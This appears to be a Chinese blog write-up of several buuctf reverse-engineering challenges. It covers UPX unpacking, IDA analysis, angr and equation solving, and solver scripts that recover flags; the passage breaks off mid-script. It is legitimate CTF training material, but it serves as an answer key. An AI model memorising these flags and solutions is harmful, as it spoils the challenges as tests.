buuctf Writeup
RE
Youngter-drive
PEID查壳,发现UPX壳
自动脱壳之后用IDA查看
程序读入Source,然后启动了两个线程,最后调用函数sub_411190
最后的函数是一个简单的比对。
第一个线程按照一定规则替换字符,并将计数器减一
第二个线程什么都不干,将计数器减一,延时100毫秒
两个线程抢占的是同一个线程句柄,因此字符是间隔替换的。
Dest只有29位,但是计数器是从29开始的,因此最后会多出一位。这一位填什么程序都能跑出flag,但是交到buuoj只有填E是对的,迷惑。
CrackMe
主流程是读入用户名和密码,根据用户名创建一个0-255的单射满射表,最后判断password是否正确。
判断函数的第一个循环是将password按byte转换成16进制数组。
判断函数的第二个循环是根据生成的表arr_a和username进行异或,得到八位的newpass。
最后一个函数是判断newpass是否正确,实际上满足所有if语句就可以了,因为如果不满足的话无法推测出newpass。不嫌麻烦写个dfs也可以验证。
于是解密脚本长这样(无视掉反调试语句就好了):
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<iostream>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char user[]="welcomebeijing";
unsigned char key[]="dbappsec";
char bytes[100];
char a[1000];
int main(){
foru(i,0,255)a[i]=i;
unsigned char v9=0;
int v6=0;
char v3,v4;
char *v7=user;
char v2;
do{v2=*v7++;}while(v2);
foru(i,0,255){
v3=a[i];
v9+=v3+user[v6];
// printf("%d\n",v9);
v4=a[v9];
v6++;
a[v9]=v3;
a[i]=v4;
if(v6>=strlen(user))v6=0;
}
unsigned char v11=0,v12=0;
int v5=0;
char v8,v13;
foru(i,0,7){
v11 += a[++v12];
v13 = a[v12];
v8 = a[v11];
a[v11] = v13;
a[v12] = v8;
unsigned char tmp=v8+v13;
// bytes[v5]=key[i]^a[tmp];
bytes[v5]=key[i]^a[tmp]^user[i];
v5=i+1;
}
foru(i,0,v5)printf("%02x",bytes[i]&0xFF);
}
跑出来的答案算一下MD5报上flag提交就……会不通过。
我认为buuoj后台的flag错了,因为在网上查到的题解输入程序里判错,交到buuoj正确。这个跑出来的输进程序是正常退出的。
(辣鸡buuoj*1 坑我一下午)
[GXYCTF2019]simple CPP
程序无壳,IDA打开。
查看Dst的交叉引用可以发现Dst是字符串i_will_check_is_debug_or_not
下面一段把异或之后的输入转化为int64。
然后是一大堆位运算,应该是要解方程。化简之后瞪眼瞪了十几分钟没发现切入点,于是把代码复制出来上angr。
c代码:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
long long q0, q1, q2;
int main() {
//scanf("%lld%lld%lld", &q0, &q1, &q2);
long long v19, v18[4], v21, v20, v23, v22, v24, v25, v26, v27, v28;
v19 = q1 & q0;
*v18 = q1 & q0;
v20 = q2 & ~q0;
v18[1] = v20;
v21 = ~q1;
v22 = q2 & v21;
v18[2] = q2 & v21;
v23 = q0 & v21;
v18[3] = v23;
v24 = v20 | v19 | v22 | v23;
v25 = q1;
v26 = q2;
v27 = v22 & q0 | v26 & (v19 | v25 & ~q0 | ~(v25 | q0));
v28 = 0;
//printf("%lld", v20);
if (v20 == 1176889593874i64)
if (v27 == 577031497978884115i64)
if (v24 == 4483974544037412639i64) {
printf("right");
return 0;
}
printf("wrong");
}
python代码:
from angr import *
import claripy
p = Project("./angr.exe",auto_load_libs=False)
st=p.factory.entry_state(add_options={"SYMBOLIC_WRITE_ADDRESSES"})
inp1 = claripy.BVS('inp1', 8*8)
inp2 = claripy.BVS('inp2', 8*8)
inp3 = claripy.BVS('inp3', 8*8)
st.memory.store(0x14001C718,inp1)
st.memory.store(0x14001C710,inp2)
st.memory.store(0x14001C198,inp3)
sm=p.factory.simulation_manager(st)
sm.explore(find=0x1400157F8, avoid=0x140015808)
print(len(sm.found))
if len(sm.found) > 0:
print(sm.found[0].solver.eval(inp1))
print(sm.found[0].solver.eval(inp2))
print(sm.found[0].solver.eval(inp3))
输出
968036644504877630
6160
1382673345904312840
这里卡了一会,后来师傅告诉我angr的store里面存的的大端序,反过来就对了。
中间出了点问题C代码有变动,重新跑了一遍angr脚本,惊奇的发现inp2的值变了。验证之后发现两个都能输出right。
最后上网查WP,主办方给了inp2对应的flag片段,应该是题目出锅了(垃圾buuoj*2 不写在题目描述里)。
写WP的师傅说是在草稿纸上手算的,不知道是我算力不行还是化简错了。。。
异或代码:
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
int main(){
char s[]={0x3E,0x3A,0x46,0x05,0x33,0x28,0x6F,0x0D,0x08,0x02,0x07,0x17,0x15,0x3E,0x30,0x13,0x32,0x31,0x06};
char dict[]="i_will_cdebug_or_noi_wil";
foru(i,0,strlen(s)-1){
if(i==8)printf("e!P0or_a");
printf("%c",s[i]^dict[i]);
}
}
输出We1l_D0ne!P0or_algebra_am_i即flag
[GWCTF 2019]pyre
简单的pyc反编译,不过我是第一次见,学习一个。
安装反编译工具并反编译
pip install uncompyle
uncompyle6 attachment.pyc > 1.py
1.py:
# uncompyle6 version 3.6.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (default, Apr 24 2019, 15:29:51) [MSC v.1915 64 bit (AMD64)]
# Embedded file name: encode.py
# Compiled at: 2019-08-19 21:01:57
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num
for i in range(l - 1):
code[i] = code[i] ^ code[(i + 1)]
print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
# okay decompiling attachment.pyc
解密脚本:
#include<cstdio>
#include<cstring>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
int main(){
char code[]={'\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13'} ;
int n=strlen(code);
ford(i,n-2,0)code[i]^=code[i+1];
foru(i,0,n-1)printf("%c",(code[i]+128-i)%128);
}
equation
拿到题目发现是一个html文件,script标签内是一段js和一个jsfuck的判断条件。(俺寻思这也不是re啊)
虽然咱不会人脑解析jsfuck,但是可以发现l[]内和==右侧都应该是常量。
于是把if()内的内容复制出来存到raw.js,写个程序解析。
#include<cstdio>
#include<cstring>
#include<cstdlib>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char s[100000],a[100000];
int cnt;
int main(){
freopen("raw.js","r",stdin);
freopen("out.js","w",stdout);
scanf("%s",s);
int n=strlen(s);
printf("s='%c",s[0]);
foru(i,1,n-1){
if(s[i]=='[')
if(s[i-1]=='l'){
a[++cnt]='l';
printf("['+(");
}else{
a[++cnt]='[';
printf("[");
}
else if(s[i]==']'){
if(a[cnt]=='l') printf(")+']");
else printf("]");
cnt--;
}
else if(s[i-1]=='='&&s[i-2]=='=')printf("'+(%c",s[i]);
else if(s[i+1]=='&'&&s[i+2]=='&')printf("%c)+'",s[i]);
else printf("%c",s[i]);
}
printf(");\nconsole.log(s);");
}
运行程序得到out.js,太长了就不贴了。
运行out.js得到正常的判断语句:
l[40]+l[35]+l[34]-l[0]-l[15]-l[37]+l[7]+l[6]-l[26]+l[20]+l[19]+l[8]-l[17]-l[14]-l[38]+l[1]-l[9]+l[22]+l[41]+l[3]-l[29]-l[36]-l[25]+l[5]+l[32]-l[16]+l[12]-l[24]+l[30]+l[39]+l[10]+l[2]+l[27]+l[28]+l[21]+l[33]-l[18]+l[4]==861&&
l[31]+l[26]+l[11]-l[33]+l[27]-l[3]+l[12]+l[30]+l[1]+l[32]-l[16]+l[7]+l[10]-l[25]+l[38]-l[41]-l[14]-l[19]+l[29]+l[36]-l[9]-l[28]-l[6]-l[0]-l[22]-l[18]+l[20]-l[37]+l[4]-l[24]+l[34]-l[21]-l[39]-l[23]-l[8]-l[40]+l[15]-l[35]==448&&
l[26]+l[14]+l[15]+l[9]+l[13]+l[30]-l[11]+l[18]+l[23]+l[7]+l[3]+l[12]+l[25]-l[24]-l[39]-l[35]-l[20]+l[40]-l[8]+l[10]-l[5]-l[33]-l[31]+l[32]+l[19]+l[21]-l[6]+l[1]+l[16]+l[17]+l[29]+l[22]-l[4]-l[36]+l[41]+l[38]+l[2]+l[0]==1244&&
l[5]+l[22]+l[15]+l[2]-l[28]-l[10]-l[3]-l[13]-l[18]+l[30]-l[9]+l[32]+l[19]+l[34]+l[23]-l[17]+l[16]-l[7]+l[24]-l[39]+l[8]-l[12]-l[40]-l[25]+l[37]-l[35]+l[11]-l[14]+l[20]-l[27]+l[4]-l[33]-l[21]+l[31]-l[6]+l[1]+l[38]-l[29]==39&&
l[41]-l[29]+l[23]-l[4]+l[20]-l[33]+l[35]+l[3]-l[19]-l[21]+l[11]+l[26]-l[24]-l[17]+l[37]+l[1]+l[16]-l[0]-l[13]+l[7]+l[10]+l[14]+l[22]+l[39]-l[40]+l[34]-l[38]+l[32]+l[25]-l[2]+l[15]+l[6]+l[28]-l[8]-l[5]-l[31]-l[30]-l[27]==485&&
l[13]+l[19]+l[21]-l[2]-l[33]-l[0]+l[39]+l[31]-l[23]-l[41]+l[38]-l[29]+l[36]+l[24]-l[20]-l[9]-l[32]+l[37]-l[35]+l[40]+l[7]-l[26]+l[15]-l[10]-l[6]-l[16]-l[4]-l[5]-l[30]-l[14]-l[22]-l[25]-l[34]-l[17]-l[11]-l[27]+l[1]-l[28]==1068&&
l[32]+l[0]+l[9]+l[14]+l[11]+l[18]-l[13]+l[24]-l[2]-l[15]+l[19]-l[21]+l[1]+l[39]-l[8]-l[3]+l[33]+l[6]-l[5]-l[35]-l[28]+l[25]-l[41]+l[22]-l[17]+l[10]+l[40]+l[34]+l[27]-l[20]+l[23]+l[31]-l[16]+l[7]+l[12]-l[30]+l[29]-l[4]==939&&
l[19]+l[11]+l[20]-l[16]+l[40]+l[25]+l[1]-l[31]+l[28]-l[23]+l[14]-l[9]-l[27]+l[35]+l[39]-l[37]-l[8]-l[22]+l[5]-l[6]+l[0]-l[32]+l[24]+l[33]+l[29]+l[38]+l[15]-l[2]+l[30]+l[7]+l[12]-l[3]-l[17]+l[34]+l[41]-l[4]-l[13]-l[26]==413&&
l[22]+l[4]-l[9]+l[34]+l[35]+l[17]+l[3]-l[24]+l[38]-l[5]-l[41]-l[31]-l[0]-l[25]+l[33]+l[15]-l[1]-l[10]+l[16]-l[29]-l[12]+l[26]-l[39]-l[21]-l[18]-l[6]-l[40]-l[13]+l[8]+l[37]+l[19]+l[14]+l[32]+l[28]-l[11]+l[23]+l[36]+l[7]==117&&
l[32]+l[16]+l[3]+l[11]+l[34]-l[31]+l[14]+l[25]+l[1]-l[30]-l[33]-l[40]-l[4]-l[29]+l[18]-l[27]+l[13]-l[19]-l[12]+l[23]-l[39]-l[41]-l[8]+l[22]-l[5]-l[38]-l[9]-l[37]+l[17]-l[36]+l[24]-l[21]+l[2]-l[26]+l[20]-l[7]+l[35]-l[0]==313&&
l[40]-l[1]+l[5]+l[7]+l[33]+l[29]+l[12]+l[38]-l[31]+l[2]+l[14]-l[35]-l[8]-l[24]-l[39]-l[9]-l[28]+l[23]-l[17]-l[22]-l[26]+l[32]-l[11]+l[4]-l[36]+l[10]+l[20]-l[18]-l[16]+l[6]-l[0]+l[3]-l[30]+l[37]-l[19]+l[21]+l[25]-l[15]==42&&
l[21]+l[26]-l[17]-l[25]+l[27]-l[22]-l[39]-l[23]-l[15]-l[20]-l[32]+l[12]+l[3]-l[6]+l[28]+l[31]+l[13]-l[16]-l[37]-l[30]-l[5]+l[41]+l[29]+l[36]+l[1]+l[11]+l[24]+l[18]-l[40]+l[19]-l[35]+l[2]-l[38]+l[14]-l[9]+l[4]+l[0]-l[33]==289&&
l[29]+l[31]+l[32]-l[17]-l[7]+l[34]+l[2]+l[14]+l[23]-l[4]+l[3]+l[35]-l[33]-l[9]-l[20]-l[37]+l[24]-l[27]+l[36]+l[15]-l[18]-l[0]+l[12]+l[11]-l[38]+l[6]+l[22]+l[39]-l[25]-l[10]-l[19]-l[1]+l[13]-l[41]+l[30]-l[16]+l[28]-l[26]==117&&
l[5]+l[37]-l[39]+l[0]-l[27]+l[12]+l[41]-l[22]+l[8]-l[16]-l[38]+l[9]+l[15]-l[35]-l[29]+l[18]+l[6]-l[25]-l[28]+l[36]+l[34]+l[32]-l[14]-l[1]+l[20]+l[40]-l[19]-l[4]-l[7]+l[26]+l[30]-l[10]+l[13]-l[21]+l[2]-l[23]-l[3]-l[33]==252&&
l[29]+l[10]-l[41]-l[9]+l[12]-l[28]+l[11]+l[40]-l[27]-l[8]+l[32]-l[25]-l[23]+l[39]-l[1]-l[36]-l[15]+l[33]-l[20]+l[18]+l[22]-l[3]+l[6]-l[34]-l[21]+l[19]+l[26]+l[13]-l[4]+l[7]-l[37]+l[38]-l[2]-l[30]-l[0]-l[35]+l[5]+l[17]==183&&
l[6]-l[8]-l[20]+l[34]-l[33]-l[25]-l[4]+l[3]+l[17]-l[13]-l[15]-l[40]+l[1]-l[30]-l[14]-l[28]-l[35]+l[38]-l[22]+l[2]+l[24]-l[29]+l[5]+l[9]+l[37]+l[23]-l[18]+l[19]-l[21]+l[11]+l[36]+l[41]-l[7]-l[32]+l[10]+l[26]-l[0]+l[31]==188&&
l[3]+l[6]-l[41]+l[10]+l[39]+l[37]+l[1]+l[8]+l[21]+l[24]+l[29]+l[12]+l[27]-l[38]+l[11]+l[23]+l[28]+l[33]-l[31]+l[14]-l[5]+l[32]-l[17]+l[40]-l[34]+l[20]-l[22]-l[16]+l[19]+l[2]-l[36]-l[7]+l[18]+l[15]+l[26]-l[0]-l[4]+l[35]==1036&&
l[28]-l[33]+l[2]+l[37]-l[12]-l[9]-l[39]+l[16]-l[32]+l[8]-l[36]+l[31]+l[10]-l[4]+l[21]-l[25]+l[18]+l[24]-l[0]+l[29]-l[26]+l[35]-l[22]-l[41]-l[6]+l[15]+l[19]+l[40]+l[7]+l[34]+l[17]-l[3]-l[13]+l[5]+l[23]+l[11]-l[27]+l[1]==328&&
l[22]-l[32]+l[17]-l[9]+l[20]-l[18]-l[34]+l[23]+l[36]-l[35]-l[38]+l[27]+l[4]-l[5]-l[41]+l[29]+l[33]+l[0]-l[37]+l[28]-l[40]-l[11]-l[12]+l[7]+l[1]+l[2]-l[26]-l[16]-l[8]+l[24]-l[25]+l[3]-l[6]-l[19]-l[39]-l[14]-l[31]+l[10]==196&&
l[11]+l[13]+l[14]-l[15]-l[29]-l[2]+l[7]+l[20]+l[30]-l[36]-l[33]-l[19]+l[31]+l[0]-l[39]-l[4]-l[6]+l[38]+l[35]-l[28]+l[34]-l[9]-l[23]-l[26]+l[37]-l[8]-l[27]+l[5]-l[41]+l[3]+l[17]+l[40]-l[10]+l[25]+l[12]-l[24]+l[18]+l[32]==7&&
l[34]-l[37]-l[40]+l[4]-l[22]-l[31]-l[6]+l[38]+l[13]-l[28]+l[8]+l[30]-l[20]-l[7]-l[32]+l[26]+l[1]-l[18]+l[5]+l[35]-l[24]-l[41]+l[9]-l[0]-l[2]-l[15]-l[10]+l[12]-l[36]+l[33]-l[16]-l[14]-l[25]-l[29]-l[21]+l[27]+l[3]-l[17]==945&&
l[12]-l[30]-l[8]+l[20]-l[2]-l[36]-l[25]-l[0]-l[19]-l[28]-l[7]-l[11]-l[33]+l[4]-l[23]+l[10]-l[41]+l[39]-l[32]+l[27]+l[18]+l[15]+l[34]+l[13]-l[40]+l[29]-l[6]+l[37]-l[14]-l[16]+l[38]-l[26]+l[17]+l[31]-l[22]-l[35]+l[5]-l[1]==480&&
l[36]-l[11]-l[34]+l[8]+l[0]+l[15]+l[28]-l[39]-l[32]-l[2]-l[27]+l[22]+l[16]-l[30]-l[3]+l[31]-l[26]+l[20]+l[17]-l[29]-l[18]+l[19]-l[10]+l[6]-l[5]-l[38]-l[25]-l[24]+l[4]+l[23]+l[9]+l[14]+l[21]-l[37]+l[13]-l[41]-l[12]+l[35]==213&&
l[19]-l[36]-l[12]+l[33]-l[27]-l[37]-l[25]+l[38]+l[16]-l[18]+l[22]-l[39]+l[13]-l[7]-l[31]-l[26]+l[15]-l[10]-l[9]-l[2]-l[30]-l[11]+l[41]-l[4]+l[24]+l[34]+l[5]+l[17]+l[14]+l[6]+l[8]-l[21]-l[23]+l[32]-l[1]-l[29]-l[0]+l[3]==386&&
l[0]+l[7]-l[28]-l[38]+l[19]+l[31]-l[5]+l[24]-l[3]+l[33]-l[12]-l[29]+l[32]+l[1]-l[34]-l[9]-l[25]+l[26]-l[8]+l[4]-l[10]+l[40]-l[15]-l[11]-l[27]+l[36]+l[14]+l[41]-l[35]-l[13]-l[17]-l[21]-l[18]+l[39]-l[2]+l[20]-l[23]-l[22]==349&&
l[10]+l[22]+l[21]-l[0]+l[15]-l[6]+l[20]-l[29]-l[30]-l[33]+l[19]+l[23]-l[28]+l[41]-l[27]-l[12]-l[37]-l[32]+l[34]-l[36]+l[3]+l[1]-l[13]+l[18]+l[14]+l[9]+l[7]-l[39]+l[8]+l[2]-l[31]-l[5]-l[40]+l[38]-l[26]-l[4]+l[16]-l[25]==98&&
l[28]+l[38]+l[20]+l[0]-l[5]-l[34]-l[41]+l[22]-l[26]+l[11]+l[29]+l[31]-l[3]-l[16]+l[23]+l[17]-l[18]+l[9]-l[4]-l[12]-l[19]-l[40]-l[27]+l[33]+l[8]-l[37]+l[2]+l[15]-l[24]-l[39]+l[10]+l[35]-l[1]+l[30]-l[36]-l[25]-l[14]-l[32]==412&&
l[1]-l[24]-l[29]+l[39]+l[41]+l[0]+l[9]-l[19]+l[6]-l[37]-l[22]+l[32]+l[21]+l[28]+l[36]+l[4]-l[17]+l[20]-l[13]-l[35]-l[5]+l[33]-l[27]-l[30]+l[40]+l[25]-l[18]+l[34]-l[3]-l[10]-l[16]-l[23]-l[38]+l[8]-l[14]-l[11]-l[7]+l[12]==95&&
l[2]-l[24]+l[31]+l[0]+l[9]-l[6]+l[7]-l[1]-l[22]+l[8]-l[23]+l[40]+l[20]-l[38]-l[11]-l[14]+l[18]-l[36]+l[15]-l[4]-l[41]-l[12]-l[34]+l[32]-l[35]+l[17]-l[21]-l[10]-l[29]+l[39]-l[16]+l[27]+l[26]-l[3]-l[5]+l[13]+l[25]-l[28]==379&&
l[19]-l[17]+l[31]+l[14]+l[6]-l[12]+l[16]-l[8]+l[27]-l[13]+l[41]+l[2]-l[7]+l[32]+l[1]+l[25]-l[9]+l[37]+l[34]-l[18]-l[40]-l[11]-l[10]+l[38]+l[21]+l[3]-l[0]+l[24]+l[15]+l[23]-l[20]+l[26]+l[22]-l[4]-l[28]-l[5]+l[39]+l[35]==861&&
l[35]+l[36]-l[16]-l[26]-l[31]+l[0]+l[21]-l[13]+l[14]+l[39]+l[7]+l[4]+l[34]+l[38]+l[17]+l[22]+l[32]+l[5]+l[15]+l[8]-l[29]+l[40]+l[24]+l[6]+l[30]-l[2]+l[25]+l[23]+l[1]+l[12]+l[9]-l[10]-l[3]-l[19]+l[20]-l[37]-l[33]-l[18]==1169&&
l[13]+l[0]-l[25]-l[32]-l[21]-l[34]-l[14]-l[9]-l[8]-l[15]-l[16]+l[38]-l[35]-l[30]-l[40]-l[12]+l[3]-l[19]+l[4]-l[41]+l[2]-l[36]+l[37]+l[17]-l[1]+l[26]-l[39]-l[10]-l[33]+l[5]-l[27]-l[23]-l[24]-l[7]+l[31]-l[28]-l[18]+l[6]==1236&&
l[20]+l[27]-l[29]-l[25]-l[3]+l[28]-l[32]-l[11]+l[10]+l[31]+l[16]+l[21]-l[7]+l[4]-l[24]-l[35]+l[26]+l[12]-l[37]+l[6]+l[23]+l[41]-l[39]-l[38]+l[40]-l[36]+l[8]-l[9]-l[5]-l[1]-l[13]-l[14]+l[19]+l[0]-l[34]-l[15]+l[17]+l[22]==114&&
l[12]-l[28]-l[13]-l[23]-l[33]+l[18]+l[10]+l[11]+l[2]-l[36]+l[41]-l[16]+l[39]+l[34]+l[32]+l[37]-l[38]+l[20]+l[6]+l[7]+l[31]+l[5]+l[22]-l[4]-l[15]-l[24]+l[17]-l[3]+l[1]-l[35]-l[9]+l[30]+l[25]-l[0]-l[8]-l[14]+l[26]+l[21]==659&&
l[21]-l[3]+l[7]-l[27]+l[0]-l[32]-l[24]-l[37]+l[4]-l[22]+l[20]-l[5]-l[30]-l[31]-l[1]+l[15]+l[41]+l[12]+l[40]+l[38]-l[17]-l[39]+l[19]-l[13]+l[23]+l[18]-l[2]+l[6]-l[33]-l[9]+l[28]+l[8]-l[16]-l[10]-l[14]+l[34]+l[35]-l[11]==430&&
l[11]-l[23]-l[9]-l[19]+l[17]+l[38]-l[36]-l[22]-l[10]+l[27]-l[14]-l[4]+l[5]+l[31]+l[2]+l[0]-l[16]-l[8]-l[28]+l[3]+l[40]+l[25]-l[33]+l[13]-l[32]-l[35]+l[26]-l[20]-l[41]-l[30]-l[12]-l[7]+l[37]-l[39]+l[15]+l[18]-l[29]-l[21]==513&&
l[32]+l[19]+l[4]-l[13]-l[17]-l[30]+l[5]-l[33]-l[37]-l[15]-l[18]+l[7]+l[25]-l[14]+l[35]+l[40]+l[16]+l[1]+l[2]+l[26]-l[3]-l[39]-l[22]+l[23]-l[36]-l[27]-l[9]+l[6]-l[41]-l[0]-l[31]-l[20]+l[12]-l[8]+l[29]-l[11]-l[34]+l[21]==502&&
l[30]-l[31]-l[36]+l[3]+l[9]-l[40]-l[33]+l[25]+l[39]-l[26]+l[23]-l[0]-l[29]-l[32]-l[4]+l[37]+l[28]+l[21]+l[17]+l[2]+l[24]+l[6]+l[5]+l[8]+l[16]+l[27]+l[19]+l[12]+l[20]+l[41]-l[22]+l[15]-l[11]+l[34]-l[18]-l[38]+l[1]-l[14]==853&&
l[38]-l[10]+l[16]+l[8]+l[21]-l[25]+l[36]-l[30]+l[31]-l[3]+l[5]-l[15]+l[23]-l[28]+l[7]+l[12]-l[29]+l[22]-l[0]-l[37]-l[14]-l[11]+l[32]+l[33]-l[9]+l[39]+l[41]-l[19]-l[1]+l[18]-l[4]-l[6]+l[13]+l[20]-l[2]-l[35]-l[26]+l[27]==28&&
l[11]+l[18]-l[26]+l[15]-l[14]-l[33]+l[7]-l[23]-l[25]+l[0]-l[6]-l[21]-l[16]+l[17]-l[19]-l[28]-l[38]-l[37]+l[9]+l[20]-l[8]-l[3]+l[22]-l[35]-l[10]-l[31]-l[2]+l[41]-l[1]-l[4]+l[24]-l[34]+l[39]+l[40]+l[32]-l[5]+l[36]-l[27]==529&&
l[38]+l[8]+l[36]+l[35]-l[23]-l[34]+l[13]-l[4]-l[27]-l[24]+l[26]+l[31]-l[30]-l[5]-l[40]+l[28]-l[11]-l[2]-l[39]+l[15]+l[10]-l[17]+l[3]+l[19]+l[22]+l[33]+l[0]+l[37]+l[16]-l[9]-l[32]+l[25]-l[21]-l[12]+l[6]-l[41]+l[20]-l[18]==12&&
l[6]-l[30]-l[20]-l[27]-l[14]-l[39]+l[41]-l[33]-l[0]+l[25]-l[32]-l[3]+l[26]-l[12]+l[8]-l[35]-l[24]+l[15]+l[9]-l[4]+l[13]+l[36]+l[34]+l[1]-l[28]-l[21]+l[18]+l[23]+l[29]-l[10]-l[38]+l[22]+l[37]+l[5]+l[19]+l[7]+l[16]-l[31]==81
丢到mma里面解方程:
输出:
#include<cstdio>
#include<cstring>
#include<cstdlib>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char l[100];
int main(){
l[0] = 102; l[1] = 108; l[2] = 97; l[3] = 103; l[4] = 123;
l[5] = 65; l[6] = 95; l[7] = 108; l[8] = 48; l[9] = 110;
l[10] = 103; l[11] = 95; l[12] = 49; l[13] = 48; l[14] = 78;
l[15] = 71; l[16] = 95; l[17] = 101; l[18] = 113; l[19] = 85;
l[20] = 52; l[21] = 84; l[22] = 105; l[23] = 48; l[24] = 110;
l[25] = 95; l[26] = 49; l[27] = 115; l[28] = 95; l[29] = 69;
l[30] = 52; l[31] = 83; l[32] = 121; l[33] = 95; l[34] = 87;
l[35] = 49; l[36] = 84; l[37] = 104; l[38] = 95; l[39] = 122;
l[40] = 51; l[41] = 125;
foru(i,0,41)printf("%c",l[i]);
}
[安洵杯 2019]crackMe
对最后比较的str1一通交叉引用跟踪到这个函数,将base64表的大小写交换,然后添加了一个异常处理器,程序应该会主动触发异常。
异常处理器内是一个段生成数组的代码。
跟进去感觉没有反调试,直接dump出来:
跟进异常处理函数:
处理了Str2并且对byte_41A180进行base64编码之后赋值给Str1。这里注意base64修改过,每6bit数据被加上24再对64取模。
接着跟踪对输入的交叉引用,发现函数:
sub_411700是一通异或之后长整型转byte映射之后再转长整型再位移异或再异或的操作。
于是写代码,base64:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define foru(i,a,b) for(i=a;i<=b;i++)
#define ford(i,a,b) for(i=a;i>=b;i--)
#define swap(a,b) {a^=b;b^=a;a^=b;}
unsigned char table[300];
unsigned char base64_table[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
int fuck(int k){return (k+40)%64;}
unsigned char *base64_decode(unsigned char *code,long len)
{
long str_len;
unsigned char *res;
int i,j;
if(strstr(code,"=="))
str_len=len/4*3-2;
else if(strstr(code,"="))
str_len=len/4*3-1;
else
str_len=len/4*3;
res=malloc(sizeof(unsigned char)*str_len);
res[str_len]='\0';
for(i=0,j=0;i < len-2;j+=3,i+=4)
{
res[j]=(fuck((unsigned char)table[code[i]]))<<2 | ((fuck((unsigned char)table[code[i+1]]))>>4);
res[j+1]=((fuck((unsigned char)table[code[i+1]]))<<4) | ((fuck((unsigned char)table[code[i+2]]))>>2);
res[j+2]=((fuck((unsigned char)table[code[i+2]]))<<6) | (fuck((unsigned char)table[code[i+3]]));
}
return res;
}
int main(){
unsigned char a[]="1UTAOIkpyOSWGv/mOYFY4R==";
int i;
foru(i,0,strlen(a)-1){swap(a[i],a[i+1]);i++;}
foru(i,0,63)table[base64_table[i]]=i;
unsigned char * ret=base64_decode(a,sizeof(a));
int len=((sizeof(a)-1)/4)*3;
foru(i,0,3)printf("%d,",(unsigned int)_byteswap_ulong(*((unsigned int*)ret+i)));
}
解密:
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
unsigned int a[100];
unsigned char b[]=
{214,144,233,254,204,225,61,183,22,182,
20,194,40,251,44,5,43,103,154,118,42,190,
4,195,170,68,19,38,73,134,6,153,156,66,80,
244,145,239,152,122,51,84,11,67,237,207,172,
98,228,179,28,169,201,8,232,149,128,223,148,
250,117,143,63,166,71,7,167,252,243,115,23,
186,131,89,60,25,230,133,79,168,104,107,129,
178,113,100,218,139,248,235,15,75,112,86,157,
53,30,36,14,94,99,88,209,162,37,34,124,59,1,
33,120,135,212,0,70,87,159,211,39,82,76,54,2,
231,160,196,200,158,234,191,138,210,64,199,56,
181,163,247,242,206,249,97,21,161,224,174,93,
164,155,52,26,85,173,147,50,48,245,140,177,227,
29,246,226,46,130,102,202,96,192,41,35,171,13,
83,78,111,213,219,55,69,222,253,142,47,3,255,
106,114,109,108,91,81,141,27,175,146,187,221,
188,127,17,217,92,65,31,16,90,216,10,193,49,136,
165,205,123,189,45,116,208,18,184,229,180,176,
137,105,151,74,12,150,119,126,101,185,241,9,197,
110,198,132,24,240,125,236,58,220,77,32,121,238,
95,62,215,203,57,72};
unsigned int unk[]=
{2474635281ul,1050457753ul,1527726672ul,
704311189ul, 390964713ul,1555004798ul,1482998107ul,
3809917755ul,3005472846ul, 153557624ul,1708072681ul,
4266245223ul,1624089784ul,1594396855ul,2462477321ul,
4269284246ul,3819081177ul,2147248580ul, 560774664ul,
1681283311ul,3304858608ul,1623983753ul,3186578788ul,
2062149354ul,1287676848ul, 353859384ul,4132269213ul,
2501992390ul, 936056320ul,2735262324ul, 344097749ul,
1984509069ul};
#define _BYTE unsigned char
#define _WORD unsigned __int16
#define _DWORD unsigned int
#define LODWORD(x) (*((_DWORD*)&(x)))
#define HIBYTE(x) (*((_BYTE*)&(x)+3))
#define HIWORD(x) (*((_WORD*)&(x)+1))
#define HIDWORD(x) (*((_DWORD*)&(x)+1))
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define BYTE1(x) BYTEn(x, 1)
#define BYTE2(x) BYTEn(x, 2)
unsigned char sub_4119A0(unsigned char k){
return b[k];
}
unsigned long fuck(int a1)
{
unsigned __int8 v1; // STD8_1
unsigned __int8 v2; // STD9_1
unsigned __int8 v3; // STDA_1
unsigned __int8 v4; // al
unsigned int v5; // STFC_4
unsigned long v6; // ST00_8
v1 = sub_4119A0(HIBYTE(a1));
v2 = sub_4119A0(BYTE2(a1));
v3 = sub_4119A0(BYTE1(a1));
v4 = sub_4119A0(a1);
v5 = v4 | (v3 << 8) | (v2 << 16) | (v1 << 24);
v6 = ((v5 >> 8) | (v5 << 24)) ^ ((v5 >> 14) | (v5 << 18)) ^ ((v5 >> 22) | (v5 << 10)) ^ v5 ^ ((v5 >> 30) | 4 * v5);
return v6;
}
int main(){
a[0]=1506841897ul;
a[1]=233979910ul;
a[2]=351571239ul;
